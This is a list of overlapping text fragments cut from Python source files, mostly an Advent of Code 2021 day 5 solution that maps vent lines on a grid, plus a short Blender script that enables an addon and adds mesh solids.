behavior is to only include vertical o diagonal lines \"\"\" ventpointpairs,", ": list A list of strings, each being a line of the raw", "points (x,y) from a 45º diagonal line from (x1,y1) to (x2,y2)\" x1, y1", "res = [] max_x = 0 max_y = 0 for line in inputdata:", "res = 0 for ventrow in ventmap: for ventelem in ventrow: if (overlap", "(x1,y1) and (x2,y2) # each point is a pair x,y coordinates return res,", "strpoint.strip() point = () for indexcoord, strcoord in enumerate(strpoint.split(',')): valuecoord = int(strcoord) point", "0 for line in inputdata: pointpair = () for strpoint in line.split('->'): strpoint", "tuple (int,int). include_diagonal_lines : bool (Default=False) If points describe a diagonal line, include", "+= (valuecoord,) if(indexcoord==0 and max_x<valuecoord): max_x = valuecoord elif(0<indexcoord and max_y<valuecoord): max_y =", "each point is a pair x,y coordinates return res, max_x, max_y def closedrange(start,", "(overlap <= ventelem): res +=1 return res def main(): inputdata = [] #", "= exampledata print(f\"Puzzle input (example)\") print(f\"{exampledata}\\n\") print(f\"Answer (part 1): {vent_mapper(inputdata)}\\n\") # Correct example", "a list of points-pair (x1,y1) and (x2,y2) # each point is a pair", "list A list of tuples, each tuple representing a pair of points. Each", "---------- inputdata : list A list of strings, each being a line of", "x2,y2 = ventsegment[1] # only horizontal and vertical lines if(x1 == x2): for", "print(f\"Answer (part 2): {vent_mapper(inputdata, True)}\") # Correct example answer: 12 pass if __name__", "+= (point,) res.append(pointpair) # return a list of points-pair (x1,y1) and (x2,y2) #", "is a tuple (int,int). include_diagonal_lines : bool (Default=False) If points describe a diagonal", "the puzzle represent it with a list of tuples Parameters ---------- inputdata :", "(x2,y2) # each point is a pair x,y coordinates return res, max_x, max_y", "def closedrange(start, stop): \"Return all values in the interval [start,stop] no matter which", "one is greater\" step = 1 if (start<=stop) else -1 return range(start, stop", "example answer: 5 print(f\"Answer (part 2): {vent_mapper(inputdata, True)}\") # Correct example answer: 12", "[] max_x = 0 max_y = 0 for line in inputdata: pointpair =", "parentdir = os.path.dirname(currentdir) sys.path.insert(1, os.path.join(sys.path[0], '..')) import utils exampledata = ['0,9 -> 5,9',", "point is a pair x,y coordinates return res, max_x, max_y def closedrange(start, stop):", "of points. Each point itself is a tuple (int,int). include_diagonal_lines : bool (Default=False)", "indexcoord, strcoord in enumerate(strpoint.split(',')): valuecoord = int(strcoord) point += (valuecoord,) if(indexcoord==0 and max_x<valuecoord):", "include_diagonal_lines : bool (Default=False) If points describe a diagonal line, include them in", "(point,) res.append(pointpair) # return a list of points-pair (x1,y1) and (x2,y2) # each", "and max_x<valuecoord): max_x = valuecoord elif(0<indexcoord and max_y<valuecoord): max_y = valuecoord pointpair +=", "x2, y2 = stop return zip(closedrange(x1, x2), closedrange(y1, y2)) def vent_counter(ventmap, overlap): res", "arguments: load example data else: inputdata = exampledata print(f\"Puzzle input (example)\") print(f\"{exampledata}\\n\") print(f\"Answer", "to import aoc2021/utils.py moudule currentdir = os.path.dirname(os.path.abspath(inspect.getfile(inspect.currentframe()))) parentdir = os.path.dirname(currentdir) sys.path.insert(1, os.path.join(sys.path[0], '..'))", "vent_counter(ventmap,2) def closedrange_diag(start, stop): \"Return all points (x,y) from a 45º diagonal line", "() for indexcoord, strcoord in enumerate(strpoint.split(',')): valuecoord = int(strcoord) point += (valuecoord,) if(indexcoord==0", "closedrange(y1, y2)) def vent_counter(ventmap, overlap): res = 0 for ventrow in ventmap: for", "max_x = valuecoord elif(0<indexcoord and max_y<valuecoord): max_y = valuecoord pointpair += (point,) res.append(pointpair)", "else -1 return range(start, stop + step, step) def vent_mapper(inputdata, include_diagonal_lines=False): \"\"\"Given the", "res.append(pointpair) # return a list of points-pair (x1,y1) and (x2,y2) # each point", "elif(y1 == y2): for x in closedrange(x1, x2): ventmap[y1][x] += 1 # diagonal", "ventelem): res +=1 return res def main(): inputdata = [] # run script", "inputdata: pointpair = () for strpoint in line.split('->'): strpoint = strpoint.strip() point =", "list of points-pair (x1,y1) and (x2,y2) # each point is a pair x,y", "in inputdata: pointpair = () for strpoint in line.split('->'): strpoint = strpoint.strip() point", "(int,int). include_diagonal_lines : bool (Default=False) If points describe a diagonal line, include them", "\"Return all values in the interval [start,stop] no matter which one is greater\"", "in the interval [start,stop] no matter which one is greater\" step = 1", "Correct example answer: 5 print(f\"Answer (part 2): {vent_mapper(inputdata, True)}\") # Correct example answer:", "-> 5,9', '8,0 -> 0,8', '9,4 -> 3,4', '2,2 -> 2,1', '7,0 ->", "diagonal line, include them in the mapping. The default behavior is to only", "Parameters ---------- inputdata : list A list of strings, each being a line", "== x2): for y in closedrange(y1, y2): ventmap[y][x1] += 1 elif(y1 == y2):", "x2): for y in closedrange(y1, y2): ventmap[y][x1] += 1 elif(y1 == y2): for", "run script with arguments: load the input file if(2 <= len(sys.argv)): inputdata =", "y coordinate value from all points \"\"\" res = [] max_x = 0", "(x,y) from a 45º diagonal line from (x1,y1) to (x2,y2)\" x1, y1 =", "res, max_x, max_y def closedrange(start, stop): \"Return all values in the interval [start,stop]", "points \"\"\" res = [] max_x = 0 max_y = 0 for line", "= [[0]*(max_x+1) for i in range(max_y+1)] # to index the ventmap: ventmap[y][x] for", "<= ventelem): res +=1 return res def main(): inputdata = [] # run", "[] # run script with arguments: load the input file if(2 <= len(sys.argv)):", "# to index the ventmap: ventmap[y][x] for ventsegment in ventpointpairs: x1,y1 = ventsegment[0]", "print(f\"{exampledata}\\n\") print(f\"Answer (part 1): {vent_mapper(inputdata)}\\n\") # Correct example answer: 5 print(f\"Answer (part 2):", "y2 = stop return zip(closedrange(x1, x2), closedrange(y1, y2)) def vent_counter(ventmap, overlap): res =", "of tuples Parameters ---------- inputdata : list A list of strings, each being", "x,y in closedrange_diag( (x1,y1), (x2,y2) ): ventmap[y][x] += 1 return vent_counter(ventmap,2) def closedrange_diag(start,", "a pair x,y coordinates return res, max_x, max_y def closedrange(start, stop): \"Return all", "values in the interval [start,stop] no matter which one is greater\" step =", "from (x1,y1) to (x2,y2)\" x1, y1 = start x2, y2 = stop return", "represent it with a list of tuples Parameters ---------- inputdata : list A", "in ventrow: if (overlap <= ventelem): res +=1 return res def main(): inputdata", "2,0', '0,9 -> 2,9', '3,4 -> 1,4', '0,0 -> 8,8', '5,5 -> 8,2']", "step, step) def vent_mapper(inputdata, include_diagonal_lines=False): \"\"\"Given the already parsed input data from puzzle", "= () for strpoint in line.split('->'): strpoint = strpoint.strip() point = () for", "all values in the interval [start,stop] no matter which one is greater\" step", ": list A list of tuples, each tuple representing a pair of points.", "+= 1 # diagonal line at exactly 45 degrees elif (include_diagonal_lines): for x,y", "x1, y1 = start x2, y2 = stop return zip(closedrange(x1, x2), closedrange(y1, y2))", "{vent_mapper(inputdata, True)}\") # Correct example answer: 12 pass if __name__ == \"__main__\": main()", "for x in closedrange(x1, x2): ventmap[y1][x] += 1 # diagonal line at exactly", "\"\"\"Given the input of the puzzle represent it with a list of tuples", "if(2 <= len(sys.argv)): inputdata = utils.loadinput(sys.argv[1]) # run script with no arguments: load", "a list of tuples Parameters ---------- inputdata : list A list of strings,", "a line of the raw input file. max_x : int Max x coordinate", "vent_mapper(inputdata, include_diagonal_lines=False): \"\"\"Given the already parsed input data from puzzle aoc2021day05 return the", "point itself is a tuple (int,int). include_diagonal_lines : bool (Default=False) If points describe", "o diagonal lines \"\"\" ventpointpairs, max_x, max_y = input_parser(inputdata) ventmap = [[0]*(max_x+1) for", "-> 1,4', '0,0 -> 8,8', '5,5 -> 8,2'] def input_parser(inputdata): \"\"\"Given the input", "if (overlap <= ventelem): res +=1 return res def main(): inputdata = []", "index the ventmap: ventmap[y][x] for ventsegment in ventpointpairs: x1,y1 = ventsegment[0] x2,y2 =", "['0,9 -> 5,9', '8,0 -> 0,8', '9,4 -> 3,4', '2,2 -> 2,1', '7,0", "point = () for indexcoord, strcoord in enumerate(strpoint.split(',')): valuecoord = int(strcoord) point +=", "2,1', '7,0 -> 7,4', '6,4 -> 2,0', '0,9 -> 2,9', '3,4 -> 1,4',", "tuple representing a pair of points. Each point itself is a tuple (int,int).", "list of tuples, each tuple representing a pair of points. Each point itself", "os.path.dirname(os.path.abspath(inspect.getfile(inspect.currentframe()))) parentdir = os.path.dirname(currentdir) sys.path.insert(1, os.path.join(sys.path[0], '..')) import utils exampledata = ['0,9 ->", "= start x2, y2 = stop return zip(closedrange(x1, x2), closedrange(y1, y2)) def vent_counter(ventmap,", "points max_y : int Max y coordinate value from all points \"\"\" res", "at exactly 45 degrees elif (include_diagonal_lines): for x,y in closedrange_diag( (x1,y1), (x2,y2) ):", "max_y = input_parser(inputdata) ventmap = [[0]*(max_x+1) for i in range(max_y+1)] # to index", "of strings, each being a line of the raw input file. max_x :", "= [] max_x = 0 max_y = 0 for line in inputdata: pointpair", "(example)\") print(f\"{exampledata}\\n\") print(f\"Answer (part 1): {vent_mapper(inputdata)}\\n\") # Correct example answer: 5 print(f\"Answer (part", "for ventelem in ventrow: if (overlap <= ventelem): res +=1 return res def", "Each point itself is a tuple (int,int). include_diagonal_lines : bool (Default=False) If points", "y in closedrange(y1, y2): ventmap[y][x1] += 1 elif(y1 == y2): for x in", "puzzle represent it with a list of tuples Parameters ---------- inputdata : list", "sys, os, inspect # necessary to import aoc2021/utils.py moudule currentdir = os.path.dirname(os.path.abspath(inspect.getfile(inspect.currentframe()))) parentdir", "is a pair x,y coordinates return res, max_x, max_y def closedrange(start, stop): \"Return", "for indexcoord, strcoord in enumerate(strpoint.split(',')): valuecoord = int(strcoord) point += (valuecoord,) if(indexcoord==0 and", "inputdata = utils.loadinput(sys.argv[1]) # run script with no arguments: load example data else:", "'5,5 -> 8,2'] def input_parser(inputdata): \"\"\"Given the input of the puzzle represent it", "for ventrow in ventmap: for ventelem in ventrow: if (overlap <= ventelem): res", "def vent_counter(ventmap, overlap): res = 0 for ventrow in ventmap: for ventelem in", "1,4', '0,0 -> 8,8', '5,5 -> 8,2'] def input_parser(inputdata): \"\"\"Given the input of", "= int(strcoord) point += (valuecoord,) if(indexcoord==0 and max_x<valuecoord): max_x = valuecoord elif(0<indexcoord and", "currentdir = os.path.dirname(os.path.abspath(inspect.getfile(inspect.currentframe()))) parentdir = os.path.dirname(currentdir) sys.path.insert(1, os.path.join(sys.path[0], '..')) import utils exampledata =", "max_x<valuecoord): max_x = valuecoord elif(0<indexcoord and max_y<valuecoord): max_y = valuecoord pointpair += (point,)", "max_y = valuecoord pointpair += (point,) res.append(pointpair) # return a list of points-pair", "of points-pair (x1,y1) and (x2,y2) # each point is a pair x,y coordinates", "res def main(): inputdata = [] # run script with arguments: load the", "= os.path.dirname(currentdir) sys.path.insert(1, os.path.join(sys.path[0], '..')) import utils exampledata = ['0,9 -> 5,9', '8,0", "max_x : int Max x coordinate value from all points max_y : int", "= 0 for ventrow in ventmap: for ventelem in ventrow: if (overlap <=", "from all points max_y : int Max y coordinate value from all points", "overlap): res = 0 for ventrow in ventmap: for ventelem in ventrow: if", "ventpointpairs: x1,y1 = ventsegment[0] x2,y2 = ventsegment[1] # only horizontal and vertical lines", "raw input file. max_x : int Max x coordinate value from all points", "\"Return all points (x,y) from a 45º diagonal line from (x1,y1) to (x2,y2)\"", "input data from puzzle aoc2021day05 return the final solution Parameters ---------- inputdata :", "point += (valuecoord,) if(indexcoord==0 and max_x<valuecoord): max_x = valuecoord elif(0<indexcoord and max_y<valuecoord): max_y", "= valuecoord elif(0<indexcoord and max_y<valuecoord): max_y = valuecoord pointpair += (point,) res.append(pointpair) #", "interval [start,stop] no matter which one is greater\" step = 1 if (start<=stop)", "itself is a tuple (int,int). include_diagonal_lines : bool (Default=False) If points describe a", "ventmap: ventmap[y][x] for ventsegment in ventpointpairs: x1,y1 = ventsegment[0] x2,y2 = ventsegment[1] #", "vent_counter(ventmap, overlap): res = 0 for ventrow in ventmap: for ventelem in ventrow:", "line of the raw input file. Returns ---------- inputdata : list A list", "with no arguments: load example data else: inputdata = exampledata print(f\"Puzzle input (example)\")", "'0,9 -> 2,9', '3,4 -> 1,4', '0,0 -> 8,8', '5,5 -> 8,2'] def", "stop): \"Return all values in the interval [start,stop] no matter which one is", "-> 2,0', '0,9 -> 2,9', '3,4 -> 1,4', '0,0 -> 8,8', '5,5 ->", "'0,0 -> 8,8', '5,5 -> 8,2'] def input_parser(inputdata): \"\"\"Given the input of the", "start x2, y2 = stop return zip(closedrange(x1, x2), closedrange(y1, y2)) def vent_counter(ventmap, overlap):", "stop return zip(closedrange(x1, x2), closedrange(y1, y2)) def vent_counter(ventmap, overlap): res = 0 for", ": bool (Default=False) If points describe a diagonal line, include them in the", "<= len(sys.argv)): inputdata = utils.loadinput(sys.argv[1]) # run script with no arguments: load example", "'6,4 -> 2,0', '0,9 -> 2,9', '3,4 -> 1,4', '0,0 -> 8,8', '5,5", "ventmap = [[0]*(max_x+1) for i in range(max_y+1)] # to index the ventmap: ventmap[y][x]", "): ventmap[y][x] += 1 return vent_counter(ventmap,2) def closedrange_diag(start, stop): \"Return all points (x,y)", "(start<=stop) else -1 return range(start, stop + step, step) def vent_mapper(inputdata, include_diagonal_lines=False): \"\"\"Given", "= stop return zip(closedrange(x1, x2), closedrange(y1, y2)) def vent_counter(ventmap, overlap): res = 0", "(x2,y2)\" x1, y1 = start x2, y2 = stop return zip(closedrange(x1, x2), closedrange(y1,", "a pair of points. Each point itself is a tuple (int,int). include_diagonal_lines :", "coordinates return res, max_x, max_y def closedrange(start, stop): \"Return all values in the", "vertical lines if(x1 == x2): for y in closedrange(y1, y2): ventmap[y][x1] += 1", "y2): for x in closedrange(x1, x2): ventmap[y1][x] += 1 # diagonal line at", "print(f\"Answer (part 1): {vent_mapper(inputdata)}\\n\") # Correct example answer: 5 print(f\"Answer (part 2): {vent_mapper(inputdata,", "pair of points. Each point itself is a tuple (int,int). include_diagonal_lines : bool", "input file. Returns ---------- inputdata : list A list of strings, each being", "input of the puzzle represent it with a list of tuples Parameters ----------", "strings, each being a line of the raw input file. Returns ---------- inputdata", "each being a line of the raw input file. Returns ---------- inputdata :", "step = 1 if (start<=stop) else -1 return range(start, stop + step, step)", "= ventsegment[0] x2,y2 = ventsegment[1] # only horizontal and vertical lines if(x1 ==", "data else: inputdata = exampledata print(f\"Puzzle input (example)\") print(f\"{exampledata}\\n\") print(f\"Answer (part 1): {vent_mapper(inputdata)}\\n\")", "to index the ventmap: ventmap[y][x] for ventsegment in ventpointpairs: x1,y1 = ventsegment[0] x2,y2", "of the raw input file. max_x : int Max x coordinate value from", "def input_parser(inputdata): \"\"\"Given the input of the puzzle represent it with a list", "return vent_counter(ventmap,2) def closedrange_diag(start, stop): \"Return all points (x,y) from a 45º diagonal", "A list of tuples, each tuple representing a pair of points. Each point", "x coordinate value from all points max_y : int Max y coordinate value", "= os.path.dirname(os.path.abspath(inspect.getfile(inspect.currentframe()))) parentdir = os.path.dirname(currentdir) sys.path.insert(1, os.path.join(sys.path[0], '..')) import utils exampledata = ['0,9", "line.split('->'): strpoint = strpoint.strip() point = () for indexcoord, strcoord in enumerate(strpoint.split(',')): valuecoord", "raw input file. Returns ---------- inputdata : list A list of strings, each", "being a line of the raw input file. max_x : int Max x", "strings, each being a line of the raw input file. max_x : int", "inputdata : list A list of tuples, each tuple representing a pair of", "from all points \"\"\" res = [] max_x = 0 max_y = 0", "run script with no arguments: load example data else: inputdata = exampledata print(f\"Puzzle", "[[0]*(max_x+1) for i in range(max_y+1)] # to index the ventmap: ventmap[y][x] for ventsegment", "x2): ventmap[y1][x] += 1 # diagonal line at exactly 45 degrees elif (include_diagonal_lines):", "the already parsed input data from puzzle aoc2021day05 return the final solution Parameters", "4: Giant Squid\"\"\" import sys, os, inspect # necessary to import aoc2021/utils.py moudule", "1 # diagonal line at exactly 45 degrees elif (include_diagonal_lines): for x,y in", "line at exactly 45 degrees elif (include_diagonal_lines): for x,y in closedrange_diag( (x1,y1), (x2,y2)", "ventrow in ventmap: for ventelem in ventrow: if (overlap <= ventelem): res +=1", "list of strings, each being a line of the raw input file. Returns", "file. max_x : int Max x coordinate value from all points max_y :", "int(strcoord) point += (valuecoord,) if(indexcoord==0 and max_x<valuecoord): max_x = valuecoord elif(0<indexcoord and max_y<valuecoord):", "in ventmap: for ventelem in ventrow: if (overlap <= ventelem): res +=1 return", "of the raw input file. Returns ---------- inputdata : list A list of", "a diagonal line, include them in the mapping. The default behavior is to", "range(max_y+1)] # to index the ventmap: ventmap[y][x] for ventsegment in ventpointpairs: x1,y1 =", "os.path.join(sys.path[0], '..')) import utils exampledata = ['0,9 -> 5,9', '8,0 -> 0,8', '9,4", "y2)) def vent_counter(ventmap, overlap): res = 0 for ventrow in ventmap: for ventelem", "arguments: load the input file if(2 <= len(sys.argv)): inputdata = utils.loadinput(sys.argv[1]) # run", "bool (Default=False) If points describe a diagonal line, include them in the mapping.", "Max y coordinate value from all points \"\"\" res = [] max_x =", "in enumerate(strpoint.split(',')): valuecoord = int(strcoord) point += (valuecoord,) if(indexcoord==0 and max_x<valuecoord): max_x =", "list of tuples Parameters ---------- inputdata : list A list of strings, each", "horizontal and vertical lines if(x1 == x2): for y in closedrange(y1, y2): ventmap[y][x1]", "= () for indexcoord, strcoord in enumerate(strpoint.split(',')): valuecoord = int(strcoord) point += (valuecoord,)", "5,9', '8,0 -> 0,8', '9,4 -> 3,4', '2,2 -> 2,1', '7,0 -> 7,4',", "Squid\"\"\" import sys, os, inspect # necessary to import aoc2021/utils.py moudule currentdir =", "input_parser(inputdata): \"\"\"Given the input of the puzzle represent it with a list of", "the raw input file. max_x : int Max x coordinate value from all", "\"\"\" res = [] max_x = 0 max_y = 0 for line in", "= [] # run script with arguments: load the input file if(2 <=", "data from puzzle aoc2021day05 return the final solution Parameters ---------- inputdata : list", "closedrange_diag( (x1,y1), (x2,y2) ): ventmap[y][x] += 1 return vent_counter(ventmap,2) def closedrange_diag(start, stop): \"Return", "each tuple representing a pair of points. Each point itself is a tuple", "# only horizontal and vertical lines if(x1 == x2): for y in closedrange(y1,", "line of the raw input file. max_x : int Max x coordinate value", "3,4', '2,2 -> 2,1', '7,0 -> 7,4', '6,4 -> 2,0', '0,9 -> 2,9',", "of the puzzle represent it with a list of tuples Parameters ---------- inputdata", "ventpointpairs, max_x, max_y = input_parser(inputdata) ventmap = [[0]*(max_x+1) for i in range(max_y+1)] #", "inputdata = [] # run script with arguments: load the input file if(2", "main(): inputdata = [] # run script with arguments: load the input file", "puzzle aoc2021day05 return the final solution Parameters ---------- inputdata : list A list", "final solution Parameters ---------- inputdata : list A list of tuples, each tuple", "only horizontal and vertical lines if(x1 == x2): for y in closedrange(y1, y2):", "valuecoord elif(0<indexcoord and max_y<valuecoord): max_y = valuecoord pointpair += (point,) res.append(pointpair) # return", "A list of strings, each being a line of the raw input file.", "value from all points max_y : int Max y coordinate value from all", "the raw input file. Returns ---------- inputdata : list A list of strings,", "to only include vertical o diagonal lines \"\"\" ventpointpairs, max_x, max_y = input_parser(inputdata)", "(x2,y2) ): ventmap[y][x] += 1 return vent_counter(ventmap,2) def closedrange_diag(start, stop): \"Return all points", "1): {vent_mapper(inputdata)}\\n\") # Correct example answer: 5 print(f\"Answer (part 2): {vent_mapper(inputdata, True)}\") #", "'2,2 -> 2,1', '7,0 -> 7,4', '6,4 -> 2,0', '0,9 -> 2,9', '3,4", "in the mapping. The default behavior is to only include vertical o diagonal", "input_parser(inputdata) ventmap = [[0]*(max_x+1) for i in range(max_y+1)] # to index the ventmap:", "# run script with arguments: load the input file if(2 <= len(sys.argv)): inputdata", ": int Max y coordinate value from all points \"\"\" res = []", "= ventsegment[1] # only horizontal and vertical lines if(x1 == x2): for y", "# each point is a pair x,y coordinates return res, max_x, max_y def", "for x,y in closedrange_diag( (x1,y1), (x2,y2) ): ventmap[y][x] += 1 return vent_counter(ventmap,2) def", "def vent_mapper(inputdata, include_diagonal_lines=False): \"\"\"Given the already parsed input data from puzzle aoc2021day05 return", "8,8', '5,5 -> 8,2'] def input_parser(inputdata): \"\"\"Given the input of the puzzle represent", "file. Returns ---------- inputdata : list A list of strings, each being a", "mapping. The default behavior is to only include vertical o diagonal lines \"\"\"", "# Correct example answer: 5 print(f\"Answer (part 2): {vent_mapper(inputdata, True)}\") # Correct example", "(x1,y1) to (x2,y2)\" x1, y1 = start x2, y2 = stop return zip(closedrange(x1,", "lines \"\"\" ventpointpairs, max_x, max_y = input_parser(inputdata) ventmap = [[0]*(max_x+1) for i in", "+ step, step) def vent_mapper(inputdata, include_diagonal_lines=False): \"\"\"Given the already parsed input data from", "in line.split('->'): strpoint = strpoint.strip() point = () for indexcoord, strcoord in enumerate(strpoint.split(',')):", "x,y coordinates return res, max_x, max_y def closedrange(start, stop): \"Return all values in", "closedrange_diag(start, stop): \"Return all points (x,y) from a 45º diagonal line from (x1,y1)", "valuecoord = int(strcoord) point += (valuecoord,) if(indexcoord==0 and max_x<valuecoord): max_x = valuecoord elif(0<indexcoord", "coordinate value from all points \"\"\" res = [] max_x = 0 max_y", "and max_y<valuecoord): max_y = valuecoord pointpair += (point,) res.append(pointpair) # return a list", "return res, max_x, max_y def closedrange(start, stop): \"Return all values in the interval", "utils.loadinput(sys.argv[1]) # run script with no arguments: load example data else: inputdata =", "{vent_mapper(inputdata)}\\n\") # Correct example answer: 5 print(f\"Answer (part 2): {vent_mapper(inputdata, True)}\") # Correct", "diagonal line from (x1,y1) to (x2,y2)\" x1, y1 = start x2, y2 =", "points-pair (x1,y1) and (x2,y2) # each point is a pair x,y coordinates return", "line, include them in the mapping. The default behavior is to only include", "input file if(2 <= len(sys.argv)): inputdata = utils.loadinput(sys.argv[1]) # run script with no", "(part 2): {vent_mapper(inputdata, True)}\") # Correct example answer: 12 pass if __name__ ==", "from puzzle aoc2021day05 return the final solution Parameters ---------- inputdata : list A", "of strings, each being a line of the raw input file. Returns ----------", "= 0 max_y = 0 for line in inputdata: pointpair = () for", "a line of the raw input file. Returns ---------- inputdata : list A", "return the final solution Parameters ---------- inputdata : list A list of tuples,", "ventsegment[1] # only horizontal and vertical lines if(x1 == x2): for y in", "with arguments: load the input file if(2 <= len(sys.argv)): inputdata = utils.loadinput(sys.argv[1]) #", "the input file if(2 <= len(sys.argv)): inputdata = utils.loadinput(sys.argv[1]) # run script with", "with a list of tuples Parameters ---------- inputdata : list A list of", "(x1,y1), (x2,y2) ): ventmap[y][x] += 1 return vent_counter(ventmap,2) def closedrange_diag(start, stop): \"Return all", "y2): ventmap[y][x1] += 1 elif(y1 == y2): for x in closedrange(x1, x2): ventmap[y1][x]", "load the input file if(2 <= len(sys.argv)): inputdata = utils.loadinput(sys.argv[1]) # run script", "no matter which one is greater\" step = 1 if (start<=stop) else -1", "sys.path.insert(1, os.path.join(sys.path[0], '..')) import utils exampledata = ['0,9 -> 5,9', '8,0 -> 0,8',", ": int Max x coordinate value from all points max_y : int Max", "0 for ventrow in ventmap: for ventelem in ventrow: if (overlap <= ventelem):", "+= 1 elif(y1 == y2): for x in closedrange(x1, x2): ventmap[y1][x] += 1", "in closedrange(x1, x2): ventmap[y1][x] += 1 # diagonal line at exactly 45 degrees", "= utils.loadinput(sys.argv[1]) # run script with no arguments: load example data else: inputdata", "if (start<=stop) else -1 return range(start, stop + step, step) def vent_mapper(inputdata, include_diagonal_lines=False):", "behavior is to only include vertical o diagonal lines \"\"\" ventpointpairs, max_x, max_y", "def closedrange_diag(start, stop): \"Return all points (x,y) from a 45º diagonal line from", "of tuples, each tuple representing a pair of points. Each point itself is", "ventelem in ventrow: if (overlap <= ventelem): res +=1 return res def main():", "5 print(f\"Answer (part 2): {vent_mapper(inputdata, True)}\") # Correct example answer: 12 pass if", "aoc2021/utils.py moudule currentdir = os.path.dirname(os.path.abspath(inspect.getfile(inspect.currentframe()))) parentdir = os.path.dirname(currentdir) sys.path.insert(1, os.path.join(sys.path[0], '..')) import utils", "'7,0 -> 7,4', '6,4 -> 2,0', '0,9 -> 2,9', '3,4 -> 1,4', '0,0", "exampledata print(f\"Puzzle input (example)\") print(f\"{exampledata}\\n\") print(f\"Answer (part 1): {vent_mapper(inputdata)}\\n\") # Correct example answer:", "already parsed input data from puzzle aoc2021day05 return the final solution Parameters ----------", "os.path.dirname(currentdir) sys.path.insert(1, os.path.join(sys.path[0], '..')) import utils exampledata = ['0,9 -> 5,9', '8,0 ->", "for ventsegment in ventpointpairs: x1,y1 = ventsegment[0] x2,y2 = ventsegment[1] # only horizontal", "len(sys.argv)): inputdata = utils.loadinput(sys.argv[1]) # run script with no arguments: load example data", "file if(2 <= len(sys.argv)): inputdata = utils.loadinput(sys.argv[1]) # run script with no arguments:", "Parameters ---------- inputdata : list A list of tuples, each tuple representing a", "2,9', '3,4 -> 1,4', '0,0 -> 8,8', '5,5 -> 8,2'] def input_parser(inputdata): \"\"\"Given", "no arguments: load example data else: inputdata = exampledata print(f\"Puzzle input (example)\") print(f\"{exampledata}\\n\")", "ventmap[y][x1] += 1 elif(y1 == y2): for x in closedrange(x1, x2): ventmap[y1][x] +=", "elif (include_diagonal_lines): for x,y in closedrange_diag( (x1,y1), (x2,y2) ): ventmap[y][x] += 1 return", "zip(closedrange(x1, x2), closedrange(y1, y2)) def vent_counter(ventmap, overlap): res = 0 for ventrow in", "include_diagonal_lines=False): \"\"\"Given the already parsed input data from puzzle aoc2021day05 return the final", "exactly 45 degrees elif (include_diagonal_lines): for x,y in closedrange_diag( (x1,y1), (x2,y2) ): ventmap[y][x]", "45º diagonal line from (x1,y1) to (x2,y2)\" x1, y1 = start x2, y2", "max_x, max_y def closedrange(start, stop): \"Return all values in the interval [start,stop] no", "# return a list of points-pair (x1,y1) and (x2,y2) # each point is", "= input_parser(inputdata) ventmap = [[0]*(max_x+1) for i in range(max_y+1)] # to index the", "for line in inputdata: pointpair = () for strpoint in line.split('->'): strpoint =", "diagonal lines \"\"\" ventpointpairs, max_x, max_y = input_parser(inputdata) ventmap = [[0]*(max_x+1) for i", "max_y = 0 for line in inputdata: pointpair = () for strpoint in", "script with no arguments: load example data else: inputdata = exampledata print(f\"Puzzle input", "'8,0 -> 0,8', '9,4 -> 3,4', '2,2 -> 2,1', '7,0 -> 7,4', '6,4", "closedrange(start, stop): \"Return all values in the interval [start,stop] no matter which one", "inputdata : list A list of strings, each being a line of the", "8,2'] def input_parser(inputdata): \"\"\"Given the input of the puzzle represent it with a", "the final solution Parameters ---------- inputdata : list A list of tuples, each", "return zip(closedrange(x1, x2), closedrange(y1, y2)) def vent_counter(ventmap, overlap): res = 0 for ventrow", "the input of the puzzle represent it with a list of tuples Parameters", "Returns ---------- inputdata : list A list of strings, each being a line", "ventmap[y][x] += 1 return vent_counter(ventmap,2) def closedrange_diag(start, stop): \"Return all points (x,y) from", "If points describe a diagonal line, include them in the mapping. The default", "value from all points \"\"\" res = [] max_x = 0 max_y =", "x in closedrange(x1, x2): ventmap[y1][x] += 1 # diagonal line at exactly 45", "-1 return range(start, stop + step, step) def vent_mapper(inputdata, include_diagonal_lines=False): \"\"\"Given the already", "\"\"\" ventpointpairs, max_x, max_y = input_parser(inputdata) ventmap = [[0]*(max_x+1) for i in range(max_y+1)]", "ventmap: for ventelem in ventrow: if (overlap <= ventelem): res +=1 return res", "pair x,y coordinates return res, max_x, max_y def closedrange(start, stop): \"Return all values" ]
[ "_____ # | ___| | | _| || |_ / __ \\ #", "_ \\| '_ \\| |/ _ \\ _| || |_ / / #", "|_) | | __/ |_ __ _| ./ /___ # \\____/_/\\_\\__,_|_| |_| |_|", "__ _| ./ /___ # \\____/_/\\_\\__,_|_| |_| |_| .__/|_|\\___| |_||_| \\_____/ # |", "|_| |_| .__/|_|\\___| |_||_| \\_____/ # | | # |_| ########################################################## enable_addon(addon_module_name=\"add_mesh_extra_objects\") for", "|/ _ \\ _| || |_ / / # | |___> < (_|", "_| ./ /___ # \\____/_/\\_\\__,_|_| |_| |_| .__/|_|\\___| |_||_| \\_____/ # | |", "<gh_stars>0 import bpy import addon_utils def enable_addon(addon_module_name): loaded_default, loaded_state = addon_utils.check(addon_module_name) if not", "/ /' # | __\\ \\/ / _` | '_ ` _ \\|", "_ _ _____ # | ___| | | _| || |_ / __", "| | | |_) | | __/ |_ __ _| ./ /___ #", "| '_ ` _ \\| '_ \\| |/ _ \\ _| || |_", "|___> < (_| | | | | | | |_) | | __/", "|| |_ / __ \\ # | |____ ____ _ _ __ ___", "| _| || |_ / __ \\ # | |____ ____ _ _", "|_ __ _| ./ /___ # \\____/_/\\_\\__,_|_| |_| |_| .__/|_|\\___| |_||_| \\_____/ #", "/ __ \\ # | |____ ____ _ _ __ ___ _ __", "| | _| || |_ / __ \\ # | |____ ____ _", "__ \\ # | |____ ____ _ _ __ ___ _ __ |", "| | | | | |_) | | __/ |_ __ _| ./", "/ / # | |___> < (_| | | | | | |", "__ | | ___ |_ __ _| `' / /' # | __\\", "# | | # |_| ########################################################## enable_addon(addon_module_name=\"add_mesh_extra_objects\") for i in range(10): bpy.ops.mesh.primitive_solid_add(source='12', size=i*0.1)", "| | ___ |_ __ _| `' / /' # | __\\ \\/", "__\\ \\/ / _` | '_ ` _ \\| '_ \\| |/ _", "< (_| | | | | | | |_) | | __/ |_", "| | __/ |_ __ _| ./ /___ # \\____/_/\\_\\__,_|_| |_| |_| .__/|_|\\___|", "\\____/_/\\_\\__,_|_| |_| |_| .__/|_|\\___| |_||_| \\_____/ # | | # |_| ########################################################## enable_addon(addon_module_name=\"add_mesh_extra_objects\")", "| ___ |_ __ _| `' / /' # | __\\ \\/ /", "not loaded_state: addon_utils.enable(addon_module_name) ########################################################## # _____ _ _ _ _____ # | ___|", "| | # |_| ########################################################## enable_addon(addon_module_name=\"add_mesh_extra_objects\") for i in range(10): bpy.ops.mesh.primitive_solid_add(source='12', size=i*0.1) 